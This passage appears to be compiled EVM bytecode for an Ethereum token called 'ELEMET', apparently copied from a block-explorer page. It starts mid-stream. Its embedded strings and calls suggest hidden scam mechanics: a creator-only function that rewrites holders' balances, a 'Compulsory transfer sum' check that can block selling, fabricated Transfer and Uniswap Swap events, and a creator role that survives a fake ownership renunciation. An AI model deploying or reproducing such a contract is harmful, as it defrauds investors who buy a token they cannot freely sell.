0205442610f969190612e53565b905060006201518082600a5460066000610fae612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff39190612d39565b610ffd9190612d39565b6110079190612eea565b90506005548111611018578061101c565b6005545b905080600560008282546110309190612e53565b925050819055508060026000611044612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108d9190612e87565b9250508190555042600760006110a1612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e7612176565b73ffffffffffffffffffffffffffffffffffffffff167f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72418260405161112c919061235d565b60405180910390a25050565b600b5460026000611147612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90612f67565b60405180910390fd5b600860006111cf612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612fd3565b60405180910390fd5b600060026000611265612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050816112ad57806112af565b805b600960008282546112c09190612e87565b925050819055506001600860006112d5612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061132e612176565b73ffffffffffffffffffffffffffffffffffffffff167f591a89b27b3057021df052ec15caa0a817c1894bcb52243ed0c8cdaa83f322be8383604051611375929190612ff3565b60405180910390a25050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b600b5481565b60055481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611417611f72565b73ffffffffffffffffffffffffffffffffffffffff16611435612176565b73ffffffffffffffffffffffffffffffffffffffff161461148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829061308e565b60405180910390fd5b60008110156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c6906130fa565b60405180910390fd5b60005b82518110156116565760008382815181106114f0576114ef6129f9565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090613166565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c848908286604051611639929190613186565b60405180910390a25050808061164e90612ae1565b9150506114d2565b505050565b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b601281565b600081600260006116ac612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906131fb565b60405180910390fd5b600061173a611735612176565b61212d565b9050600081111561178857808314611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612e33565b60405180910390fd5b5b8260026000611795612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117de9190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118349190612e87565b925050819055508373ffffffffffffffffffffffffffffffffffffffff1661185a612176565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161189f919061235d565b60405180910390a3600191505092915050565b6118ba611f72565b73ffffffffffffffffffffffffffffffffffffffff166118d8612176565b73ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119259061308e565b60405180910390fd5b60005b838390508110156119ba578160036000868685818110611954576119536129f9565b5b9050602002016020810190611969919061263e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806119b290612ae1565b915050611931565b50505050565b600a5481565b6012600a6119d49190612cee565b6301c9c3806119e39190612d39565b81565b6000803490508373ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a3457600080fd5b505af1158015611a48573d6000803e3d6000fd5b505050505060008473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30737a250d5630b4cf539739df2c5dacb4c659f2488d6040518363ffffffff1660e01b8152600401611a9e92919061321b565b602060405180830381865afa158015611abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adf9190613259565b905060008103611b9d578473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b589291906132c1565b6020604051808303816000875af1158015611b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9b91906132ff565b505b60005b8951811015611c9157737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d795898381518110611bec57611beb6129f9565b5b60200260200101518b8481518110611c0757611c066129f9565b5b60200260200101518a8e8681518110611c2357611c226129f9565b5b60200260200101518a6040518663ffffffff1660e01b8152600401611c4c9594939291906133ea565b600060405180830381600087803b158015611c6657600080fd5b505af1158015611c7a573d6000803e3d6000fd5b505050508080611c8990612ae1565b915050611ba0565b5060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611ccd919061267a565b602060405180830381865afa158015611cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0e9190613259565b90508573ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b8152600401611d49919061235d565b600060405180830381600087803b158015611d6357600080fd5b505af1158015611d77573d6000803e3d6000fd5b505050506000611d85612176565b73ffffffffffffffffffffffffffffffffffffffff1682604051611da890613475565b60006040518083038185875af1925050503d8060008114611de5576040519150601f19603f3d011682016040523d82523d6000602084013e611dea565b606091505b5050905080611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e25906134d6565b60405180910390fd5b60019450505050509695505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f5f919061235d565b60405180910390a3600190509392505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8060026000611fa9612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c906131fb565b60405180910390fd5b8060026000612032612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461207b9190612e53565b92505081905550806006600061208f612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120d89190612e87565b9250508190555042600760006120ec612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156121b857808201518184015260208101905061219d565b60008484015250505050565b6000601f19601f8301169050919050565b60006121e08261217e565b6121ea8185612189565b93506121fa81856020860161219a565b612203816121c4565b840191505092915050565b6000602082019050818103600083015261222881846121d5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061226f82612244565b9050919050565b61227f81612264565b811461228a57600080fd5b50565b60008135905061229c81612276565b92915050565b6000819050919050565b6122b5816122a2565b81146122c057600080fd5b50565b6000813590506122d2816122ac565b92915050565b600080604083850312156122ef576122ee61223a565b5b60006122fd8582860161228d565b925050602061230e858286016122c3565b9150509250929050565b60008115159050919050565b61232d81612318565b82525050565b60006020820190506123486000830184612324565b92915050565b612357816122a2565b82525050565b6000602082019050612372600083018461234e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123b5826121c4565b810181811067ffffffffffffffff821117156123d4576123d361237d565b5b80604052505050565b60006123e7612230565b90506123f382826123ac565b919050565b600067ffffffffffffffff8211156124135761241261237d565b5b602082029050602081019050919050565b600080fd5b600061243c612437846123f8565b6123dd565b9050808382526020820190506020840283018581111561245f5761245e612424565b5b835b818110156124885780612474888261228d565b845260208401935050602081019050612461565b5050509392505050565b600082601f8301126124a7576124a6612378565b5b81356124b7848260208601612429565b91505092915050565b600067ffffffffffffffff8211156124db576124da61237d565b5b602082029050602081019050919050565b60006124ff6124fa846124c0565b6123dd565b9050808382526020820190506020840283018581111561252257612521612424565b5b835b8181101561254b578061253788826122c3565b845260208401935050602081019050612524565b5050509392505050565b600082601f83011261256a57612569612378565b5b813561257a8482602086016124ec565b91505092915050565b6000806000806080858703121561259d5761259c61223a565b5b60006125ab8782880161228d565b945050602085013567ffffffffffffffff8111156125cc576125cb61223f565b5b6125d887828801612492565b935050604085013567ffffffffffffffff8111156125f9576125f861223f565b5b61260587828801612555565b925050606085013567ffffffffffffffff8111156126265761262561223f565b5b61263287828801612555565b91505092959194509250565b6000602082840312156126545761265361223a565b5b60006126628482850161228d565b91505092915050565b61267481612264565b82525050565b600060208201905061268f600083018461266b565b92915050565b6000806000606084860312156126ae576126ad61223a565b5b60006126bc8682870161228d565b93505060206126cd8682870161228d565b92505060406126de868287016122c3565b9150509250925092565b600060ff82169050919050565b6126fe816126e8565b82525050565b600060208201905061271960008301846126f5565b92915050565b61272881612318565b811461273357600080fd5b50565b6000813590506127458161271f565b92915050565b6000602082840312156127615761276061223a565b5b600061276f84828501612736565b91505092915050565b6000806040838503121561278f5761278e61223a565b5b600083013567ffffffffffffffff8111156127ad576127ac61223f565b5b6127b985828601612492565b92505060206127ca858286016122c3565b9150509250929050565b600080fd5b60008083601f8401126127ef576127ee612378565b5b8235905067ffffffffffffffff81111561280c5761280b6127d4565b5b60208301915083602082028301111561282857612827612424565b5b9250929050565b6000806000604084860312156128485761284761223a565b5b600084013567ffffffffffffffff8111156128665761286561223f565b5b612872868287016127d9565b93509350506020612885868287016122c3565b9150509250925092565b60008060008060008060c087890312156128ac576128ab61223a565b5b600087013567ffffffffffffffff8111156128ca576128c961223f565b5b6128d689828a01612492565b965050602087013567ffffffffffffffff8111156128f7576128f661223f565b5b61290389828a01612555565b955050604087013567ffffffffffffffff8111156129245761292361223f565b5b61293089828a01612555565b945050606087013567ffffffffffffffff8111156129515761295061223f565b5b61295d89828a01612492565b935050608061296e89828a0161228d565b92505060a061297f89828a016122c3565b9150509295509295509295565b600080604083850312156129a3576129a261223a565b5b60006129b18582860161228d565b92505060206129c28582860161228d565b9150509250929050565b6000602082840312156129e2576129e161223a565b5b60006129f0848285016122c3565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000612a57612a52612a4d84612a28565b612a32565b6122a2565b9050919050565b612a6781612a3c565b82525050565b6000608082019050612a82600083018761234e565b612a8f6020830186612a5e565b612a9c6040830185612a5e565b612aa9606083018461234e565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612aec826122a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b1e57612b1d612ab2565b5b600182019050919050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b6000612b85602b83612189565b9150612b9082612b29565b604082019050919050565b60006020820190508181036000830152612bb481612b78565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612c1257808604811115612bee57612bed612ab2565b5b6001851615612bfd5780820291505b8081029050612c0b85612bbb565b9450612bd2565b94509492505050565b600082612c2b5760019050612ce7565b81612c395760009050612ce7565b8160018114612c4f5760028114612c5957612c88565b6001915050612ce7565b60ff841115612c6b57612c6a612ab2565b5b8360020a915084821115612c8257612c81612ab2565b5b50612ce7565b5060208310610133831016604e8410600b8410161715612cbd5782820a905083811115612cb857612cb7612ab2565b5b612ce7565b612cca8484846001612bc8565b92509050818404811115612ce157612ce0612ab2565b5b81810290505b9392505050565b6000612cf9826122a2565b9150612d04836126e8565b9250612d317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c1b565b905092915050565b6000612d44826122a2565b9150612d4f836122a2565b9250828202612d5d816122a2565b91508282048414831517612d7457612d73612ab2565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000612db1601983612189565b9150612dbc82612d7b565b602082019050919050565b60006020820190508181036000830152612de081612da4565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000612e1d602083612189565b9150612e2882612de7565b602082019050919050565b60006020820190508181036000830152612e4c81612e10565b9050919050565b6000612e5e826122a2565b9150612e69836122a2565b9250828203905081811115612e8157612e80612ab2565b5b92915050565b6000612e92826122a2565b9150612e9d836122a2565b9250828201905080821115612eb557612eb4612ab2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ef5826122a2565b9150612f00836122a2565b925082612f1057612f0f612ebb565b5b828204905092915050565b7f496e73756666696369656e742062616c616e636520666f7220766f74696e6700600082015250565b6000612f51601f83612189565b9150612f5c82612f1b565b602082019050919050565b60006020820190508181036000830152612f8081612f44565b9050919050565b7f557365722068617320616c726561647920766f74656400000000000000000000600082015250565b6000612fbd601683612189565b9150612fc882612f87565b602082019050919050565b60006020820190508181036000830152612fec81612fb0565b9050919050565b60006040820190506130086000830185612324565b613015602083018461234e565b9392505050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b6000613078602683612189565b91506130838261301c565b604082019050919050565b600060208201905081810360008301526130a78161306b565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006130e4601b83612189565b91506130ef826130ae565b602082019050919050565b60006020820190508181036000830152613113816130d7565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000613150601983612189565b915061315b8261311a565b602082019050919050565b6000602082019050818103600083015261317f81613143565b9050919050565b600060408201905061319b600083018561234e565b6131a8602083018461234e565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006131e5601483612189565b91506131f0826131af565b602082019050919050565b60006020820190508181036000830152613214816131d8565b9050919050565b6000604082019050613230600083018561266b565b61323d602083018461266b565b9392505050565b600081519050613253816122ac565b92915050565b60006020828403121561326f5761326e61223a565b5b600061327d84828501613244565b91505092915050565b6000819050919050565b60006132ab6132a66132a184613286565b612a32565b6122a2565b9050919050565b6132bb81613290565b82525050565b60006040820190506132d6600083018561266b565b6132e360208301846132b2565b9392505050565b6000815190506132f98161271f565b92915050565b6000602082840312156133155761331461223a565b5b6000613323848285016132ea565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61336181612264565b82525050565b60006133738383613358565b60208301905092915050565b6000602082019050919050565b60006133978261332c565b6133a18185613337565b93506133ac83613348565b8060005b838110156133dd5781516133c48882613367565b97506133cf8361337f565b9250506001810190506133b0565b5085935050505092915050565b600060a0820190506133ff600083018861234e565b61340c602083018761234e565b818103604083015261341e818661338c565b905061342d606083018561266b565b61343a608083018461234e565b9695505050505050565b600081905092915050565b50565b600061345f600083613444565b915061346a8261344f565b600082019050919050565b600061348082613452565b9150819050919050565b7f4620742073206500000000000000000000000000000000000000000000000000600082015250565b60006134c0600783612189565b91506134cb8261348a565b602082019050919050565b600060208201905081810360008301526134ef816134b3565b905091905056fea264697066735822122035e685af82b24ebf5b66b2e551327d1332908698eeb9d7fd924ff48c1f45a43464736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806370a08231116100f7578063c345cf2311610095578063e156b1b611610064578063e156b1b61461066f578063e5963ebb146106ac578063f339c504146106d7578063fd57213c14610700576101d8565b8063c345cf23146105ac578063c7f80241146105d7578063dd62ed3e14610607578063e03504af14610644576101d8565b8063a713fd53116100d1578063a713fd53146104f0578063a9059cbb1461051b578063af33bb4114610558578063af8f42b814610581576101d8565b806370a082311461045f57806375e7d62b1461049c57806395d89b41146104c5576101d8565b806323b872dd1161016f5780634b9f5c981161013e5780634b9f5c98146103b55780635c01b60c146103de578063628277331461040957806366666aa914610434576101d8565b806323b872dd1461031f5780632b9689581461035c578063313ce56714610373578063372500ab1461039e576101d8565b806311dbe793116101ab57806311dbe7931461027057806315aacc60146102a057806318160ddd146102c95780631e4dd24b146102f4576101d8565b806306fdde03146101dd578063095ea7b3146102085780630d15fd7714610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261073d565b6040516101ff919061220e565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a91906122d8565b61077a565b60405161023c9190612333565b60405180910390f35b34801561025157600080fd5b5061025a61087a565b604051610267919061235d565b60405180910390f35b61028a60048036038101906102859190612583565b610880565b6040516102979190612333565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c2919061263e565b610a18565b005b3480156102d557600080fd5b506102de610ad8565b6040516102eb919061235d565b60405180910390f35b34801561030057600080fd5b50610309610afc565b604051610316919061267a565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612695565b610b25565b6040516103539190612333565b60405180910390f35b34801561036857600080fd5b50610371610dfd565b005b34801561037f57600080fd5b50610388610f39565b6040516103959190612704565b60405180910390f35b3480156103aa57600080fd5b506103b3610f42565b005b3480156103c157600080fd5b506103dc60048036038101906103d7919061274b565b611138565b005b3480156103ea57600080fd5b506103f3611381565b604051610400919061220e565b60405180910390f35b34801561041557600080fd5b5061041e6113ba565b60405161042b919061235d565b60405180910390f35b34801561044057600080fd5b506104496113c0565b604051610456919061235d565b60405180910390f35b34801561046b57600080fd5b506104866004803603810190610481919061263e565b6113c6565b604051610493919061235d565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be9190612778565b61140f565b005b3480156104d157600080fd5b506104da61165b565b6040516104e7919061220e565b60405180910390f35b3480156104fc57600080fd5b50610505611698565b6040516105129190612704565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d91906122d8565b61169d565b60405161054f9190612333565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a919061282f565b6118b2565b005b34801561058d57600080fd5b506105966119c0565b6040516105a3919061235d565b60405180910390f35b3480156105b857600080fd5b506105c16119c6565b6040516105ce919061235d565b60405180910390f35b6105f160048036038101906105ec919061288f565b6119e6565b6040516105fe9190612333565b60405180910390f35b34801561061357600080fd5b5061062e6004803603810190610629919061298c565b611e40565b60405161063b919061235d565b60405180910390f35b34801561065057600080fd5b50610659611ec7565b604051610666919061220e565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612695565b611f00565b6040516106a39190612333565b60405180910390f35b3480156106b857600080fd5b506106c1611f72565b6040516106ce919061267a565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f991906129cc565b611f9c565b005b34801561070c57600080fd5b506107276004803603810190610722919061263e565b61212d565b604051610734919061235d565b60405180910390f35b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b60008160016000610789612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610823612176565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610868919061235d565b60405180910390a36001905092915050565b60095481565b600080600090505b8451811015610a0b578481815181106108a4576108a36129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811061090d5761090c6129f9565b5b6020026020010151604051610922919061235d565b60405180910390a384818151811061093d5761093c6129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228684815181106109ba576109b96129f9565b5b60200260200101516000808887815181106109d8576109d76129f9565b5b60200260200101516040516109f09493929190612a6d565b60405180910390a38080610a0390612ae1565b915050610888565b5060019050949350505050565b610a20612176565b73ffffffffffffffffffffffffffffffffffffffff16610a3e610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b90612b9b565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012600a610ae89190612cee565b6301c9c380610af79190612d39565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b71612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612dc7565b60405180910390fd5b6000610bf88561212d565b90506000811115610c4657808314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90612e33565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c959190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ceb9190612e87565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d3c612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d859190612e53565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610de9919061235d565b60405180910390a360019150509392505050565b610e05612176565b73ffffffffffffffffffffffffffffffffffffffff16610e23610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090612b9b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006012905090565b600060076000610f50612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442610f969190612e53565b905060006201518082600a5460066000610fae612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff39190612d39565b610ffd9190612d39565b6110079190612eea565b90506005548111611018578061101c565b6005545b905080600560008282546110309190612e53565b925050819055508060026000611044612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108d9190612e87565b9250508190555042600760006110a1612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e7612176565b73ffffffffffffffffffffffffffffffffffffffff167f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72418260405161112c919061235d565b60405180910390a25050565b600b5460026000611147612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90612f67565b60405180910390fd5b600860006111cf612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612fd3565b60405180910390fd5b600060026000611265612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050816112ad57806112af565b805b600960008282546112c09190612e87565b925050819055506001600860006112d5612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061132e612176565b73ffffffffffffffffffffffffffffffffffffffff167f591a89b27b3057021df052ec15caa0a817c1894bcb52243ed0c8cdaa83f322be8383604051611375929190612ff3565b60405180910390a25050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b600b5481565b60055481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611417611f72565b73ffffffffffffffffffffffffffffffffffffffff16611435612176565b73ffffffffffffffffffffffffffffffffffffffff161461148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829061308e565b60405180910390fd5b60008110156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c6906130fa565b60405180910390fd5b60005b82518110156116565760008382815181106114f0576114ef6129f9565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090613166565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c848908286604051611639929190613186565b60405180910390a25050808061164e90612ae1565b9150506114d2565b505050565b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b601281565b600081600260006116ac612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906131fb565b60405180910390fd5b600061173a611735612176565b61212d565b9050600081111561178857808314611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612e33565b60405180910390fd5b5b8260026000611795612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117de9190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118349190612e87565b925050819055508373ffffffffffffffffffffffffffffffffffffffff1661185a612176565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161189f919061235d565b60405180910390a3600191505092915050565b6118ba611f72565b73ffffffffffffffffffffffffffffffffffffffff166118d8612176565b73ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119259061308e565b60405180910390fd5b60005b838390508110156119ba578160036000868685818110611954576119536129f9565b5b9050602002016020810190611969919061263e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806119b290612ae1565b915050611931565b50505050565b600a5481565b6012600a6119d49190612cee565b6301c9c3806119e39190612d39565b81565b6000803490508373ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a3457600080fd5b505af1158015611a48573d6000803e3d6000fd5b505050505060008473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30737a250d5630b4cf539739df2c5dacb4c659f2488d6040518363ffffffff1660e01b8152600401611a9e92919061321b565b602060405180830381865afa158015611abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adf9190613259565b905060008103611b9d578473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7ffffffffffffffffffffffffffffffffffffffffffffffffffffff